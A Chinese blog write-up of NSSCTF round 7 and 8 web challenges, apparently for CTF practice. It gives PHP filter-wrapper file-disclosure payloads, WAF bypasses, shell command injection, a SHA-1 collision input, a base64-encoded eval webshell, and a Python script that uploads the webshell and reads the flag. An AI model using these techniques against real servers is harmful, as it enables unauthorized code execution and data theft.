NSSCTF-round8&&round7部分题目复现

[NSSRound#8 Basic]MyDoor

伪协议读取源码

image-20230217161937278

可以得到源码

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {


        die('error.');
    }
}

可以看到N_S.S可以去执行eval操作

但是在测试phpinfo是没有响应

image-20230217162758855

猜测应该是某些字符被禁止了

测试发现是_被过滤了,这里可以使用[替换

image-20230217162910786

执行命令

image-20230217162941994

接下来

就是找flag了

image-20230217163339423

[NSSRound#8 Basic]MyPage

这里同样去执行伪协议去读取源码,发现并没有响应

猜测是对一些字符进行了过滤,导致不能够执行成功

这里使用脏数据绕过waf

脏数据(也称为恶意输入)可以绕过 WAF 的原因是因为 WAF 的规则和过滤器只能识别特定的攻击模式,例如 SQL 注入、跨站脚本攻击等。但是,攻击者可以使用各种技术和工具来欺骗 WAF,使其无法检测或防止特定的恶意输入。

例如,攻击者可以使用编码和加密技术来对恶意请求进行混淆,以使其不被 WAF 检测到。攻击者还可以使用分割请求、预处理攻击载荷等技术,来绕过 WAF 的检测,以便让恶意请求顺利地通过 WAF,并到达 Web 应用程序。

构造payload:

php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

得到源码

<?php

error_reporting(0);

if(isset($_GET['file'])){
    header('Location:/' . $_GET['file']);
} else {
    $file = $_GET['file'];
    if (preg_match('/\.php|\.dll|glob|global|finfo|http|localhost|file|hash|location|include|exec|getopt|file|http|localhost|.*\%7C.*\%29.*|zip|7z|compress|is|', $file)) {
        include_once 'error';
    } else {
        die('error');
    }
}

?> 

可以看到对file传入的参数进行了检查,导致伪协议不能够正常去执行

读取flag.php文件

构造payload:

php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

image-20230217171207484

[NSSRound#7 Team]ec_RCE

<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?>

这里什么都没有过滤,那么可以直接拼接执行命令就行了

paylaod:

action=;ls /

image-20230217175839442

获取flag

image-20230217175908409

[NSSRound#7 Team]0o0

image-20230217180016988

进行扫描文件

image-20230217180630967

发现.DS_store文件

image-20230217180953157

打开后发现一个php文件

访问进行代码审计

 <?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
} NO0o0o0o0o!

代码审计

第一个if

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {

sha1的强类型比较

if (!is_numeric($NsScTF) && in_array($NsScTF, array(1)))

要求变量不是数字,后面检查是否在数组里面,但是数组里面只要1,构造NsScTF=1+就行

 if (file_get_contents($NsScTf) === "Welcome to Round7!!!")

data伪协议,构造payload:

payload:&NsScTf=data://text/plain,Welcome to Round7!!!

if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {

这是_是特殊字符,不能直接输入,可以使用[替换

下面要求传入的变量值不等于114514,但是在经过intval函数处理后要等于114514,利用科学计数法绕过

构造NSScTf=114514e1

if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {

构造payload:

&nSScTF=1&nSscTF=NSSRound7

最终payload:

http://43.142.108.3:28142/Ns_SCtF.php?NSSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&NsSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&NsScTF=1+&NsScTf=data://text/plain,Welcome to Round7!!!&nss[ctfer.vip=1&NSScTf=0x1BF52&nSScTF=1&nSscTF=NSSRound7

POST:submit=1

上面的比较简单的,下面的是题目的考点和核心

 $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";

这是实现了一个文件上传

if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }

这里对文件名进行了一个匹配,要求要匹配到png

这里可以使用双后缀进行绕过,构造文件名为1.png.php

 $real_content = '<?php die("Round7 do you like");'. $content . '?>';

但是这里出现了一个die函数,导致我们文件无法成功上传,直接被die掉了

这里和死亡exit比较相似

可以利用相似的方法进行绕过,进行编码,在解码时将死亡代码给解码成乱码,使其无法其作用。

<?php @eval($_POST['attack']);?>
base编码·:
PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+

<?php die("Round7 do you like");aaaPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+?>
这里要补三个字母,因为php解码时是四个byte一组

image-20230220191544371

可以看到解码后就只剩下我们写入的shell代码,死亡die已经被解码掉了

但是怎么样才能让他进行解码呢,这里我们可以使用php为协议进行解码

php://filter/convert.base64-decode/resource=1.png.php

这里可以参考p神的文章

谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)

这里粘贴一个其他师傅的脚本:

import requests
from base64 import b64encode
import re
 
def get_flag(URL):
    url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"
    data = {'submit':1}
 
    payload = str(b64encode(b"<?php system('cat /home/f1ag');?>")) #修改为自己想要执行的命令
    payload = re.findall(r"b'(.*?)'",payload)[0]
 
    file1 = {'file': ('1.png.php', f"aaa{payload}")}
    file2 = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70', f"aaa{payload}")}
 
    requests.post(url,data=data,files=file1)
    requests.post(url,files=file2,data=data)
    nssctf_text3 = requests.post(f'{URL}/1.png.php').text
    print(nssctf_text3)
 
if __name__ == "__main__":
    get_flag("http://43.143.7.127:28479")
posted @ 2023-02-20 23:06  GTL_JU  阅读(389)  评论(0编辑  收藏  举报